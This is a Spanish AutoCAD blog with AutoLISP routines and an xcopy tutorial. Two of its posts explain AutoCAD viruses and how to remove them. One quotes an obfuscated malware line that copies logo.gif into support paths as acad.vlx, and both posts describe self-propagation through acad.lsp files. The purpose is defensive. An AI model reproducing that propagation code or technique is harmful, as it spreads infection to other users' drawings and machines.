Mcommands

Copiando Archivos

2011-09-20T17:51:00.000-07:00

Uuuuff después de meses y meses (año y medio masmenos) de no tener una entrada en el blog, coloco ahora una que hubiera resultado muy practica para una entrega de proyecto que tuvimos hace unos días.

En la entrega en cuestión, nos era indispensable copiar unos archivos con extensión dwf, eran muchos proyectos, cada uno en su carpeta y necesitábamos conservar esta estructura de los directorios/carpetas.

Hace ya tiempo genere una función en lisp para hacer el trabajo, pero también recordé el comando xcopy que hace la misma función, pero mucho mas rápida por ser una herramienta del sistema operativo, ademas que nos permite copiar archivos después de una fecha especifica y algunas monadas mas, pongo aquí como utilizarla:

Iniciamos la consola de comandos de Windows, presionando la tecla Windows (esta al lado izquierdo del teclado, casi junto a la barra espaciadora), manteniendola presionada, presionemos la tecla R (Windows+R).

En la ventana Ejecutar, tecleemos cmd y presionemos Enter

Se abre una ventana con la consola de comandos del Sistema Operativo en la cual podemos ingresar el comando XCopy

El comando Xcopy acepta los siguientes argumentos:

“dirección a copiar” “directorio destino” parametros

Se deberá reemplazar “dirección a copiar” por la carpetaque necesitamos, por ejemplo:

c:\Mis Proyectos\2011\Casa0521\*.dwg

y “directorio destino” por la dirección en donde queremoslos archivos, por ejemplo C:\Temp\

En parametros podemos utilizar los siguientes:

/s = Copiara todas las subcarpetas, excepto las vacias.

/d = Copiara los archivos a partir de una fecha especifica (mes-dia-año), sino se especifica y los archivos ya existen en el directorio destino, solo se copiaran los archivos que se hayan modificado.

/y = No es necesario confirmar la copia de cada archivo, esto solo en caso que existan los archivos

/c = Si ocurre un error, el programa continua

Notas:

Las rutas se deberán escribir en comillas si estas tienenespacios. Si queremos pegar la ruta, debemos usar el mouse, ya que la ventanadel DOS no acepta la combinación de teclas Control+V.

Entonces, el texto a ingresar en la linea de comandos seria como sigue:

xcopy "c:\Mis Proyectos\2011\Casa0521\*.dwf" c:\temp /s /c /y /d:09-20-2011

Con lo cual se copiaran todos los archivos dwg, de la carpeta especificada a la destino, siempre y cuando se hayan modificado después del 20 de septiembre de 2011

Con este comando pueden copiar todos los archivos, o como en este caso solo copiar el tipo de archivo que nos interese, y despues de una fecha especifica, util para hacer respaldos, o como en nuestro caso para entregar los archivos que necesitamos sin tener que copiar los archivos o carpetas individualmente

Rota Dimensiones

2010-03-25T09:36:00.000-07:00

;;;---------------------------------------------------------------------------------------------
;;;RotDIM
;;;Mcommands 2010, Guadalajara, Jalisco México
;;;Autor: Marco Antonio Jacinto Pérez
;;;---------------------------------------------------------------------------------------------
;;;El comando RotDim permite cambiar el UCS de las cotas para que coincidan con el UCS
;;;actual y evita asi que aparezcan giradas.
;;;---------------------------------------------------------------------------------------------
(DEFUN c:rotdim (/ ss ent ANG0 )
(OR MU:THISDRAWING
(SETQ MU:THISDRAWING (VLA-GET-ACTIVEDOCUMENT (VLAX-GET-ACAD-OBJECT)))
)
;;;Si ya existe una marca para undo se termina, ya que en ocasiones el crear
;;;una nueva marca puede hacer que AutoCAD se termine abruptamente
(IF (= 8 (LOGAND 8 (GETVAR "UNDOCTL")))
(vla-EndUndoMark MU:THISDRAWING)
)
(vla-StartUndoMark MU:THISDRAWING)
(princ
"\n Selecciona las cotas a orientar segun el UCS actual:"
)
(SETQ ss (SSGET '((0 . "DIMENSION")))
;;; Se trasladan los puntos 0,0 y 1,0 al Ucs Actual, y se obtiene despues el
;;; angulo que forman entre ellas
ang0 (ANGLE (TRANS '(0 0) 0 1) (TRANS '(1 0) 0 1))
)
(foreach ent (vl-remove-if 'listp (mapcar 'cadr (ssnamex ss)))
(VLA-PUT-ROTATION
(VLAX-ENAME->VLA-OBJECT ent)
ang0
)
)
(vla-EndUndoMark MU:THISDRAWING)
(PRINC)
)

2009-12-23T10:28:00.000-08:00

Esta función crea una polilínea al interior de un área cerrada, al crearla la coloca en el layer VALORIZA MURO y la hace el doble de ancho que la separación entre contornos, por defecto el comando apagara todos los layers a excepción de los que contengan la palabra Muro y Columna.

(DEFUN c:ofin (/ ANCHOPOLILINEA  BO
DISTANCIAOFFSET  ELAST  OBJ  OLDLAY
PLINENUEVA COLORLAY  NOMBRELAY PTIN
)
;;;Se establece un inicio de uno, asi al desacher el comando se
;;;regresara al estado del dibujo antes de comenzar ofin
(COMMAND "_undo" "_be")
;;;Se graba el layer actual
(SETQ oldLay (GETVAR "clayer"))
;;;Se establece el nombre que tendra el nuevo layer
(SETQ NombreLay "VALORIZA MURO")
;;;El color del nuevo layer
(SETQ ColorLay 28)
;;;La separacion de la nueva polilinea
(SETQ DistanciaOffset 0.025)
;;;El ancho de la nueva polilinea, se considera que esta
;;;sera el doble de la separacion, para no dejar ningun
;;;ajuste
(SETQ AnchoPolilinea (* DistanciaOffset 2))
;;;Se apaga el eco de comandos, con esto no se vera el
;;;proceso de ninguna de las llamadas a la funcion
;;;command
(SETVAR "cmdecho" 0)
;;;si no existe el layer nuevo
(OR (TBLSEARCH "layer" NombreLay)
;;;se crea el nuevo layer
(COMMAND "_-layer" "_new" NombreLay "_color" ColorLay "" "")
)
;;;se establece el nuevo layer como el actual
(SETVAR "clayer" NombreLay)
;;;Se apagan todos los layers menos el actual, los muros y columnas
(command "_-layer" "_off" "*" "_no" "on" "*MURO*,*COLUMNA*" "")
;;;mientras exista ptin, se creara la polilinea interior
(SETQ ptin T);_con este valor se entra al ciclo
(WHILE ptin
(IF (AND (SETQ ptin (GETPOINT "\n Especifica un punto interno: "))
(SETQ elast (ENTLAST));_Se graba la ultima entidad 
(SETQ bo (BPOLY ptin));_Se graba el contorno creado
(/= elast bo);_Se compara la ultima entidad y el nuevo contorno
)
(PROGN
;;;Se crea la polilinea nueva al interior del contorno creado.
(COMMAND "_offset" DistanciaOffset bo ptin "")
(AND
;;;Se obtiene la nueva polilinea para compararla con el contorno
(SETQ PlineNueva (ENTLAST))
(/= PlineNueva bo)
;;;Se cambia el ancho de la polilinea al valor establecido
(VLA-PUT-CONSTANTWIDTH
(SETQ obj (VLAX-ENAME->VLA-OBJECT PlineNueva))
AnchoPolilinea
)
)
;;;Se borra el contorno creado
(AND bo (ENTDEL bo))
;;;Se manda la polilinea nueva al fondo
(COMMAND "_draworder" PlineNueva "" "_back")
)
)
)
;;;Se regresa al estado anterior de layers
(command "layerp")
;;;Se restaura el layer original
(SETVAR "clayer" oldLay)
;;;Se cierra el undo
(COMMAND "_undo" "_end")
(PRINC)
)

Renombra Bloque

2009-10-24T11:00:00.000-07:00

;;;El comando chBlock permite cambiar el nombre de cualquier bloque que se seleccione en pantalla, en caso de
;;;ya existir el bloqe el programa lo indica
;;;Autor: Marco Jacinto
;;;Puerto Vallarta Jalisco
(defun c:chblock (/ block ent newblock obj oldname)
(setq *adoc* (vla-get-activedocument(vlax-get-acad-object))
*blocks* (vla-get-blocks *adoc*)
)
(while (null obj)
(setq ent (entsel "\n Selecciona un bloque: "))
(if (and ent
(=(cdr(assoc 0 (entget (car ent))))"INSERT")
)
(progn
(and(setq newblock (getstring "\n Nuevo nombre para el bloque: "))
(/= newblock "")
(setq oldname (cdr(assoc 2 (entget (car ent))))
obj (vlax-ename->vla-Object (car ent)))
)
(if (vl-catch-all-error-p
(vl-catch-all-apply
'vla-item (list *blocks* NewBlock)
)
)
(progn
(vla-startUndoMark *adoc*)
(vla-put-name
(vla-item *blocks* oldName)
newblock
)
(mapcar 'princ (list "\n Bloque " oldname "renombrado a " newBlock"."))
(vla-EndUndoMark *adoc*)
)
(princ "\n El bloque ya existe, intenta, con otro nombre.")
)
)
(princ "\n No seleccionaste un bloque, intenta de nuevo.")
)
)
(princ)
)

Coloca la fecha en un texto

2009-10-24T10:39:00.000-07:00

Con este codigo, el colocar la fecha en cualquier texto (Mtext o Dtext) o atributo es tan facil como seleccionarlo y listo, la fecha aparece magicamente.

(defun c:FechaActual (/ fecha nuevaFecha)
(SETQ FECHA (RTOS (GETVAR "CDATE")))
(SETQ AÑO (SUBSTR FECHA 1 4)
DIA (SUBSTR FECHA 7 2)
MES (NTH (1- (ATOI (SUBSTR FECHA 5 2)))
'("ENERO" "FEBRERO" "MARZO" "ABRIL" "MAYO" "JUNIO" "JULIO"
"AGOSTO" "SEPTIEMBRE" "OCTUBRE" "NOVIEMBRE" "DICIEMBRE"))
)
(SETQ NUEVAFECHA (STRCAT DIA " " MES " " AÑO))
(if (setq ent (nentsel))
(progn
(setq Obj (vlax-ename->Vla-Object (car ent)))
(vla-Put-TextString obj NuevaFecha)
)
)
(princ)
)

Contador de bloques

2009-09-22T13:56:00.000-07:00

;;;---------------------------------------------------------------------------------------------------------------------
;;;CuentaBloques
;;;Mcommands 2009, Guadalajara, Jalisco México
;;;Autor Marco Antonio Jacinto Pérez
;;;---------------------------------------------------------------------------------------------------------------------
;;;Esta rutina obtendra los bloques por medio de una seleccion en pantalla,
;;;o automaticamente del Espacio Modelo o Papel para despues contarlos
;;;y crear una tabla con las cantidades y una insercion del mismo.
;;;---------------------------------------------------------------------------------------------------------------------

(vl-load-com)

(defun AddTextStyle
(TxtStyleName Font doc / *Textstyles* NewStyle)
(and
(setq *Textstyles*
(vla-get-TextStyles
doc
)
)
(not (collection-item-p *Textstyles* TxtStyleName))
(setq NewStyle (vla-add *Textstyles* TxtStyleName))
(vla-setFont NewStyle Font :vlax-false :vlax-false 0 0)
)
NewStyle
)

;;;----------------------------------------------;;;
;;;This function will pass a function to each ;;;
;;;element of a selection set ;;;
;;;----------------------------------------------;;;

(defun for-sset (sset f / n)
(if (= 'PICKSET (type sset)) ; _this will chek if the arguments is
; a
; selection
; set
(repeat (progn (setq n -1) (sslength sset))
(f (ssname sset (setq n (1+ n))))
)
)
)
;;;----------------------------------------------;;;

(defun collection-item-p (collection Item)
(cond ((vl-catch-all-error-p
(vl-catch-all-apply 'vla-item (list Collection Item))
)
nil
)
(t (vla-item Collection Item))
)
)

(defun list->variantArray (ptsList / arraySpace sArray)
; _ allocate space for an
; array of 2d points
; stored as
; doubles
(setq arraySpace
(vlax-make-safearray
vlax-vbdouble ;_ element type
(cons 0 (- (length ptsList) 1)) ;_ array dimension
)
)
(setq sArray (vlax-safearray-fill arraySpace ptsList))
; _ return array
; variant
(vlax-make-variant sArray)
)

(defun NameUnnamedUcs
(*adoc* UcsName / *UCS* Origin XAxisPoint YAxisPoint)
(if (= (getvar "WORLDUCS") 0) ;If UCS Difers from world then
(progn
(Setq *UCS* (vla-get-UserCoordinateSystems *adoc*)
Origin (getvar "UCSORG")
XAxisPoint (mapcar '(lambda (pt1 pt2) (+ pt1 pt2))
Origin
(getvar "UCSXDIR")
)
YAxisPoint (mapcar '(lambda (pt1 pt2) (+ pt1 pt2))
Origin
(getvar "UCSyDIR")
)
)
(vla-add *Ucs*
(list->variantArray Origin)
(list->variantArray XAxisPoint)
(list->variantArray YAxisPoint)
UcsName
)
)
)
)

(defun GetBlocks (space /)
(cond ((= (Type Space) 'STR)
(vlax-for obj (vla-get-block
(vla-item *layouts*
space
)
)
(bkobj obj)
)
)
((= (Type Space) 'PICKSET) ;(setq Space ss)
(for-sset Space
(lambda (ename / obj)
(setq obj (vlax-ename->vla-object ename))
(bkobj obj)
)
)
)
)
BkCountLst
)

(defun bkObj (obj / BkName)
(cond ((/= (vla-get-ObjectName obj) "AcDbBlockReference"))
((and
(setq BkName (vla-get-effectiveName obj))
(assoc BkName BkCountLst)
)
(setq BkCountLst
(subst (cons BkName (1+ (cdr (assoc BkName BkCountLst))))
(assoc BkName BkCountLst)
BkCountLst
)
)
)
(T
(setq BkCountLst
(cons (cons BkName 1) BkCountLst)
)
)
)
)

(Defun c:CuentaBloques (/ *acad* *adoc* *Layouts*
BkCountLst SpaceBkCt ptt *tabla*
Table1 *BLOCKS* CTROW ROW
*TABLESTYLE* CTC COL_CT
LayName NwUcs ss
)

(setq *acad* (vlax-get-acad-object)
*adoc* (vla-get-activedocument *acad*)
*Layouts* (vla-get-Layouts *adoc*)
*blocks* (vla-get-Blocks *adoc*)
)
(vla-startundomark *adoc*)
(or (setq NwUcs (collection-item-p
(vla-get-UserCoordinateSystems *adoc*)
"BTUcs"
)
)
)

(initget "Seleccion EspacioModelo espacioPapel Ambos")
(setq SpaceBkCt
(GetKword
"\n Contar bloques en [/EspacioModelo/espacioPapel/Ambos]"
)
)
(cond
((or (= SpaceBkCt "Seleccion") (= SpaceBkCt nil))
(setq SpaceBkCt "Seleccion")
(while (null ss)
(setq ss (ssget '((0 . "INSERT"))))
)
(princ "\n Obteniendo los bloques en la selección...")
(GetBlocks ss)
)
((= SpaceBkCt "EspacioModelo")
(setq SpaceBkCt "EspacioModelo")
(princ "\n Obteniendo bloques en el Espacio modelo...")
(GetBlocks "Model")
)
((= SpaceBkCt "espacioPapel")
(initget "Todos Escribir Actual")
(setq GetPs
(GetKword
"\n Contar bloques en el layout [/Escribir nombre/Todos]: "
)
)
(cond
((or (= GetPs nil) (= GetPs "Actual"))
(princ "\n Obteniendo los bloques en el layout actual...")
(GetBlocks (getvar "ctab"))
(setq SpaceBkCt "Layout actual")
)
((= GetPs "Todos")
(princ "\n Obteniendo bloques en todos los layouts...")
(setq Layouts (layoutlist))
(foreach lay layouts
(GetBlocks lay)
)
(setq SpaceBkCt "todos los Layouts")
)
(t
(while (not (member LayName (mapcar 'strcase (layoutlist))))
(setq LayName (strcase (getString "\n Type layout name: " T)))
)
(mapcar 'princ
(list "\n Obteniendo bloques en el layout " LayName "...")
)
(GetBlocks LayName)
(setq SpaceBkCt (strcat "Layout " LayName))
)
)
)
(t
(princ "\n Obteniendo bloques en espacio Modelo y en espacio Papel...")
(setq Layouts (cons "Model" (layoutlist)))
(foreach lay layouts
(GetBlocks lay)
)
)
)
(if BkCountLst
(progn
(setq BkCountLst
(vl-sort BkCountLst
(function (lambda (e1 e2)
(< (car e1) (car e2))
)
)
)
)
;(mapcar 'print BkCountLst)
(princ "finalizado")
(cond ((collection-item-p
(vla-get-dictionaries *adoc*)
"TablaBlocks"
)
)
(T
(AddTextStyle "Anot_Arial" "ARIAL" *adoc*)
(setq *tableStyle* (vla-item (vla-get-dictionaries *adoc*)
"acad_tablestyle"
)
*tabla* (vla-addObject
*tableStyle*
"TablaBlocks"
"AcDbTableStyle"
)
)
(vla-SetTextHeight *tabla* acTitleRow 0.175)
(vla-SetTextHeight *tabla* acHeaderRow 0.135)
(vla-SetTextHeight *tabla* acDataRow 0.125)
(vla-SetTextStyle *tabla* acHeaderRow "Anot_Arial")
(vla-SetTextStyle *tabla* acTitleRow "Anot_Arial")
(vla-SetTextStyle *tabla* acDataRow "Anot_Arial")
(vla-put-Vertcellmargin *tabla* 0.075)
(vla-put-Horzcellmargin *tabla* 0.175)
)
)
(or ptt
(setq
ptt
;(trans
(getPoint
"\n Especifica el punto de inserción para la tabla:"
)
;;; 1
;;; 0
;;; )
)
)
(progn
(princ "\n Creando tabla, espera... ")
(setq Ptt (vlax-make-variant
(vlax-safearray-fill
(vlax-make-safearray
vlax-vbDouble
'(0 . 2)
)
ptt
)
)
;;;object.AddTable(InsertionPoint, NumRows, NumColumns, RowHeight, ColWidth)
Table1 (vla-addTable
(vla-get-ModelSpace
*adoc*
)
ptt
2
3
0.20
2.00
)
ctc 0
)
(vla-put-StyleName Table1 "TablaBlocks")
(vla-setText
Table1
0
0
(strcase (strcat "Bloques en "
(if (= SpaceBkCt "Ambos")
"dibujo"
SpaceBkCt
)
)
)
)
(vla-setText Table1 1 0 "BLOQUE")
(vla-setText Table1 1 1 "NOMBRE")
(vla-setText Table1 1 2 "CANTIDAD")
(vla-setcolumnwidth Table1 0 1.20)
(vla-setcolumnwidth Table1 1 3.00)
(vla-setcolumnwidth Table1 2 1.45)
(vla-setRowHeight Table1 0 0.50)
(vla-setrowHeight Table1 1 0.35)
(if (setq NwUcs (NameUnnamedUcs *adoc* "BTUcs"))
(progn
(setq TransMatrix (vla-getUcsMatrix NwUcs))
(vla-TransformBy Table1 TransMatrix)
)
)
)

(setq row 2)
(foreach BksLst BkCountLst ;(setq BksLst (car BkCountLst))
(vla-insertrows Table1 row 0.35 1)
(setq Col_ct 0)
(vla-SetCellType Table1 row Col_ct acBlockCell)
(vla-SetBlockTableRecordId
Table1
row
Col_ct
(vla-get-ObjectID (vla-item *blocks* (car BksLst)))
:vlax-true
)
(setq col_ct (1+ Col_Ct)
)
(vla-SetText
Table1
(vlax-make-Variant row vlax-vbLong)
Col_ct
(vlax-Make-Variant (strcase (car BksLst)) Vlax-VbString)
)
(setq col_ct (1+ Col_Ct)
)
(vla-SetText
Table1
(vlax-make-Variant row vlax-vbLong)
Col_ct
(vlax-Make-Variant (cdr BksLst) Vlax-VbString)
)
(setq row (1+ row)
)
)
(setq ctrow 2)
(repeat (- (vla-get-rows table1) 2)
(vla-setcellalignment Table1 ctrow 1 acmiddleleft)
(setq ctrow (1+ ctrow))
)
(princ "finalizado")
)
(mapcar 'princ
(list "\n No hay referencias del bloque en "
SpaceBkCt
"."
)
)
)
(vla-endundomark *adoc*)
(princ)
)

Otro virus en AutoCAD, como solucionarlo...

2009-08-12T19:53:00.000-07:00

Al final del post anterior, comente que existia la posibilidad de crear un archivo vlx que se ejecuta al abrir un archivo dwg cuando ambos archivos residen en la misma carpeta, pues esta caracteristica ha sido explotada (espero que no gracias a mi post, jajaja aun soy optimista por los lectores de mi blog pues), es decir se creo un archivo vlx que puede dañar los archivos de AutoCAD.

Este virus aparecio desde el año 2005 y ha cambiado un poco desde entonces, pero recientemente ha surgido como un problema que afecta a una gran cantidad de usuarios, por ello Autodesk y otros usuarios han trabajado en una solucion, la cual se indica mas abajo.

El virus se propaga al abrir un archivo dwg siempre y cuando estos residan en la misma carpeta, para despues copiarlo a la rutas de soporte de ACAD, y a partir de aqui al abrir un archivo dwg cualquiera, el virus copiara el archivo vlx con el codigo malicioso en la carpeta de este dibujo, con lo cual la infeccion se esparce como la polvora debido a la gran cantidad de dibujos que puede abrir un usuario en una jornada laboral. El archivo vlx, se crea con la extension gif, con lo cual es mas dificil su deteccion, aunque la mayoria de los antivirus al parecer son capaces de detectarlo.

El virus, segun la pagina de Autodesk es capaz de corromper los dibujos, mostrando un mensaje acerca de la inexistencia de un paquete de lenguaje para el archivo, esto una vez que se abre y graba el dibujo.

Si este mensaje ha aparecido en tu computadora deberas hacer lo siguiente:

1.- Iniciar sesion como administrador en Microsoft® Windows®

2.- En el explorador de windows, en la barra de direccion pega lo siguiente y presiona Enter

%programfiles%\AutoCAD 2009\Support

(cambia 2009 por la version que utilices)

3.- En la carpeta que se muestre, haz doble click en el archivo acad2009.lsp (cambia 09 por la version que utilices), el archivo se abrira en el Block de notas.

Agrega el codigo siguiente en el archivo, justo antes de la linea (princ) que esta al final del archivo.

(defun cleanvirus( / lspfiles lspfile x)
(setq lspfiles '("acad.vlx" "logo.gif"))
(foreach lspfile lspfiles
(while (setq x (findfile lspfile))
(progn
(vl-file-delete x)
(princ "\nDeleted file ")
(princ x)
);progn
);while
);foreach
)
(cleanvirus)

El codigo anterior se ejecutara antes que el virus, buscará y borrará los archivos acad.vlx y logo.gif que se encuentre en las carpetas de soporte deteniendo asi la infeccion.

4.-Abre cada uno de los archivos siguientes:

C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp

C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp

ROAMABLEROOTPREFIX\Support\acad.mnl

Nota: Remplaza ROAMABLEROOTPREFIX con el valor que regresa la variable ROAMABLEROOTPREFIX al ingresarla en la linea de comandos de AutoCAD

Si en los archivos abiertos encuentras este texto, borralo:

(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))

Esta instruccion lo que hace es copiar el archivo logo.gif a las rutas de soporte de ACAD, pero ahora como el nombre acad.vlx.

5.- Graba cada archivo

Con esto el virus no afectara nuevos dibujos.

Cabe mencionar que para evitar la infeccion de este y cualquier tipo de virus, solo se deben abrir archivos que provengan de fuentes de confianza y aun en este caso revisar cada una de las carpetas que recibamos para no llevarnos malos ratos.

Saludos y vigilantes quedamos...

La nota original en ingles

http://autodesk.blogs.com/between_the_lines/2009/08/malicious-code-alert-acadvlx-and-solution.html

Notas:

El codigo fue coloreado con el codigo de Neyton, que se encuentra en http://br.geocities.com/neyton/lsp2htm/

Virus en AutoCAD

2009-07-17T09:21:00.000-07:00

Recientemente ha aparecido por internet la noticia de un “virus “ que se propaga con los archivos de AutoCAD, lo pongo entre comillas ya que si bien, comparte las características de estos (autoreplicación, ejecución sin autorización del usuario, etc.), la amenaza real al equipo y/o la información es nula, ya que su única tarea es deshabilitar los comandos Explode, Burst, Bind y Xref, con la consabida extrañeza y molestia al usuario.

El método de propagación es bastante sencillo, ya que utiliza una característica propia de AutoCAD, la cual consiste en correr un archivo Acad.lsp o AcadDoc.lsp que se encuentre en cualquiera de las rutas de soporte del programa[i], aunque también corre estos archivos cuando se encuentran en la misma carpeta del dibujo a abrir en AutoCAD.

Esta característica del programa, si bien en este caso tiene resultados funestos, se aprovecha para por ejemplo, enviar mensajes a un usuario al abrir un archivo, o configuraciones especificas para ese dibujo en la PC de un proveedor o cliente sin tener que estar enviando las indicaciones para hacerlo manualmente.

El virus en mención trabaja de la siguiente manera:

Al terminar de abrir un archivo DWG en cuya carpeta exista un archivo Acad.lsp se ejecuta el código contenido en el.
El virus busca el archivo Base.dcl[ii] y en la dirección en que lo encuentra, replica al archivo Acad.lsp renombrándolo como Acadapp.lsp

Busca también la dirección del archivo que se acaba de abrir, para también en esta dirección replicar el archivo Acad.lsp, esto en caso de ya tener copiado el archivo AcadApp.lsp en las rutas de soporte, en caso contrario el archivo dwg actual es el que comenzó con la infección.

Después redefine los comandos Explode, Xref y Xbind, haciendo que e archivo Explode solo seleccione los objetos e indique cuantos objetos se seleccionaron, sin realizarles ninguna acción, el comando Xref y Xbind inician el comando Insert en lugar de los que les corresponden.

Por último redefine el comando de las expresstools Burst.

Para eliminar el virus, en el explorador de Windows (Tecla Windows + F) buscamos los archivos Acad.lsp y Acadapp.lsp, los resultados que se encuentren se eliminan y el problema se termina.

La mayoría de antivirus actualmente localizan el archivo problemático (comprobado con AVG, McAfee free y Kaspersky), pero solo al abrir un archivo zip que contenga el Acad.lsp, al tratar de abrirlo directamente desde el explorador de Windows o al hacer un escaneo explicito de la carpeta , si abrimos un archivo DWG con el Acad.lsp en la misma carpeta , el antivirus no ejecuta ninguna acción y el virus se disemina sin ser detectado (por lo menos en AVG, Mcafee si lo elimina al ser copiado.)

La característica de ejecutar un archivo acad.lsp cuando se abre el dwg que lo acompaña, se logra también con los archivos .vlx, sin que estos se llamen Acad o AcadDoc, con el añadido de que estos archivos son compilados (no se pueden leer el código, por lo cual se recomienda revisar muy bien la información recibida y solo abrir los archivos que provengan de una fuente de confianza.

[i] Las rutas de soporte se definen con el comando Options, en la pestaña Files, y sirven para organizar los diferentes modulos que necesita el programa o que el usuario puede añadir para personalizar su copia de AutoCAD.

[ii] Este archivo contiene las definiciones para los cuadros de dialogo de AutoCAD, en realidad es una herencia de versiones anteriores a la versión 2000, y en la actualidad solo sirven para dar compatibilidad a archivos lsp sin actualizar. Usualmente se ubica en C:\\Documents and Settings\\NombreUsuario\\Datos de programa\\Autodesk\\AutoCAD
2009\\R17.2\\enu\\support\\base.dcl

Importar vistas desde un dibujo (cerrado)

2009-02-03T13:04:00.000-08:00

 
;--------------------------------------------------------------------------------
El comando ImpVista Importa la vista seleccionada de un dibujo cualquiera, este     
dibujo no debe estar abierto en el editor de dibujo.             
La vista para este ejemplo no debe de contener espacios, para permitirlos se debe
cambiar las lineas que implican el getkword por una funcion mas refinada.     
                                         
Autor: Marco Jacinto                                 
--------------------------------------------------------------------------------; 


;;;carga las funciones Activex para Autolisp 
(vl-load-com) 
;;;La variable de la aplicacion autocad 
(or *acad*(setq *acad* (vlax-get-acad-object))) 
;;;La variable del dibujo activo  
(or mu:thisdrawing(setq mu:thisdrawing (vla-get-activedocument *acad*)))

(DEFUN collection-item-p (collection Item)
  (COND    ((VL-CATCH-ALL-ERROR-P
       (VL-CATCH-ALL-APPLY 'VLA-ITEM (LIST Collection Item))
     )
     nil
    )
    (T (VLA-ITEM Collection Item))
  )
)

(defun c:ImpVista (/ DWG IMPVIS OP VISTAS)
  (and (setq dwg (getfiled "Selecciona un archivo dwg" "c:/" "dwg" 8))
       (setq Vistas (DbXGetCollection dwg 'views))
       (setq Op (car Vistas))
       (foreach    o (cdr Vistas)
     (setq op (strcat op " " o))
       )
  )
  (if op
    (progn
      (initget op)
      (setq ImpVis (getkword (strcat "Selecciona la vista a importar: ["
                     (VL-STRING-translate " " "/" op)
                     "]"
                 )
           )
      )
      (DbXGetCollectionItem dwg 'views ImpVis)
    )
  )
  (princ)
) 

;--------------------------------------------------------------------------------
La funcion DbXGetCollection copia una coleccion de un archivo cualquiera al     
dibujo actual mediante ObjectDbx                           
----------------------------------------------------------------------------------
Argumentos:                                     
FileName - La direccion de un archivo como cadena de texto             
Collection - Un simbolo identificando la coleccion a copiar.             
Regresa:                                     
Una lista con los elementos de la coleccion copiados al dibujo actual,         
en caso de que no haya elementos regresa nil                     
Ejemplo:                                     
(setq Vistas (DbXGetCollection "C:\\Prueba.dwg" 'views))             
                                         
Autor: Marco Jacinto                                 
--------------------------------------------------------------------------------; 

  (DEFUN DbXGetCollection    (FileName Collection / *DBXDOC*    DBXCOLLECTION ERROR
             ITEMLIST)

  (SETQ    *dbxdoc*
     (VLA-GETINTERFACEOBJECT
       *acad*
       (STRCAT "ObjectDBX.AxDbDocument."
           (SUBSTR (GETVAR "AcadVer") 1 2)
       )
     )
  )
  (SETQ    error (VL-CATCH-ALL-ERROR-P
        (VL-CATCH-ALL-APPLY
          'VLA-OPEN
          (LIST *dbxdoc* (FINDFILE FileName))
        )
          )
  )
  (IF (NULL error)
    (PROGN
      (SETQ DbxCollection
         (VLAX-GET-PROPERTY *dbxdoc* COLLECTION)
      )
      (VLAX-FOR    item DBXCOLLECTION
    (IF (NOT (WCMATCH (VLA-GET-NAME item) "`**,**"))
      (SETQ ItemList (CONS (VLA-GET-NAME item) ItemList))
    )
      )
      (SETQ ItemList (REVERSE ItemList))
      (VLAX-RELEASE-OBJECT *dbxdoc*)
    )
    (PRINC
      "\n No se pudo abrir el archivo mediante ObjectDBX, debe estar abierto por otro usuario"
    )
  )
  ItemList 
) 

;--------------------------------------------------------------------------------
La funcion DbXGetCollectionItem obtiene una elemento de una coleccion en un     
archivo cualquiera mediante ObjectDbx                         
----------------------------------------------------------------------------------
Argumentos:                                     
FileName - La direccion de un archivo como cadena de texto             
Collection - Un simbolo identificando la coleccion a copiar.             
ItemName - UNa cadena de texto representando el nombre del elemento a copiar     
Regresa:                                     
Una lista con los elementos de la coleccion copiados al dibujo actual,         
en caso de que no haya elementos regresa nil                     
Ejemplo:                                     
(DbXGetCollectionItem "C:\\Prueba.dwg" 'views "Vista 1")             
                                         
Autor: Marco Jacinto                                 
--------------------------------------------------------------------------------; 

(DEFUN DbXGetCollectionItem (FileName     Collection  ItemName     /
                 DbxItem     DbxCollection         OBJLST
                 ERROR     ITM         NEWOBJ
                )
  (IF (NULL (SETQ Itm (collection-item-p
            (VLAX-GET-PROPERTY MU:THISDRAWING Collection)
            ItemName
              )
        )
      )
    (PROGN

      (SETQ *dbxdoc*
         (VLA-GETINTERFACEOBJECT
           *acad*
           (STRCAT "ObjectDBX.AxDbDocument."
               (SUBSTR (GETVAR "AcadVer") 1 2)
           )
         )
      )
      (SETQ error (VL-CATCH-ALL-ERROR-P
            (VL-CATCH-ALL-APPLY
              'VLA-OPEN
              (LIST *dbxdoc* (FINDFILE FileName))
            )
          )
      )
      (IF (NULL error)
    (PROGN
      (SETQ    DbxCollection
         (VLAX-GET-PROPERTY *dbxdoc* COLLECTION)
      )
      (IF (SETQ DbxItem (COLLECTION-ITEM-P DbxCollection ItemName))
        (PROGN
          (VLA-STARTUNDOMARK mu:ThisDrawing)
          (SETQ Objlst (LIST DbxItem))
          (VLA-COPYOBJECTS
        *dbxdoc*
        (VLAX-SAFEARRAY-FILL
          (VLAX-MAKE-SAFEARRAY
            VLAX-VBOBJECT
            (CONS 0 (1- (LENGTH ObjLst)))
          )
          ObjLst
        )
        (VLAX-GET-PROPERTY MU:THISDRAWING COLLECTION)
          )
          (SETQ newobj (VLA-GET-NAME DbxItem))
          (VLA-ENDUNDOMARK mu:ThisDrawing)
        )
      )

      (VLAX-RELEASE-OBJECT *dbxdoc*)
    )
    (PRINC
      "\n No se pudo abrir el archivo mediante ObjectDBX, debe estar abierto por otro usuario"
    )
      )
    )
  )
  (IF newobj
    newobj
    (AND Itm (SETQ NewObj (VLA-GET-NAME Itm)))
  )
  newobj 
)

Cambiar el color de los Atributos a ByBlock

2008-12-24T09:25:00.000-08:00

;|                                    
El comando att2ByBlock cambia el color de TODOS los atributos dentro    
de un bloque a ByBlock, tambien cambia el color de los atributos en    
los bloques ya insertados.                        
                                    
Autor: Marco Jacinto                            
       Puerto Vallarta, Mexico Diciembre 2008                
                                    
                                      |;


(defun c:att2ByBlock (/ *BLOCKS* ATTS BK BKDEF BKNAME OBJ)
  (while (null bk)
;;;UN ciclo que se repite mientras no haya un objeto
    (setvar "errno" 0)
    (setq bk (entsel "\n Selecciona un bloque con attributos, Enter para salir: "))
    (cond
;;;Se selecciono un objeto, y este tiene la propiedad EFFECTIVENAME,
;;;es decir, es un bloque, se procesa
      ((and    bk
        (vlax-property-available-p
          (setq obj (vlax-ename->vla-object (car bk)))
          'EFFECTIVENAME
          )
        (setq TieneAtributos (= (vla-get-HasAttributes obj) :vlax-true))
        )
       (setq bkname (vla-get-EffectiveName obj)) ;_Se obtiene el nombre del bloque
 ;_Se obtiene la coleccion de bloques
